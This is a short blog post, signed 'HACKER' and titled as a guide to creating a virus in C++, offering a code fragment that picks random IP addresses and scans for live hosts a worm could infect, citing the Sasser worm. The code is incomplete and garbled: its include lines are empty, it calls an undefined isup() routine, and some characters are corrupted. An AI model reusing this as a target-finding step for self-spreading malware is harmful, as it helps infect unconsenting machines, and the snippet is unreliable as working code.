create a virus using c++ !

Filed under: by: HACKER


this code is for reading all server and test does it is Up or Down ( if is up virus can infect the victim by IP ! ). sasser using that !!


/*---------------------------------- Cut Here ---------------------------------*/
#include
#include
#include
#include

struct in_addr *find_valid_host(void)
{
struct in_addr *address = (struct in_addr *)malloc(sizeof(struct in_addr));

srand(time(NULL)); /* on initialise le g�n�rateur al�atoire */
address->s_addr = rand();

while (!isup(*address))
(address->s_addr)++;
/* ici, on utilise la routine isup() de nmap pour voir si la cible est up */

return address;
}

/*---------------------------------- Cut Here ---------------------------------*/

0 comments: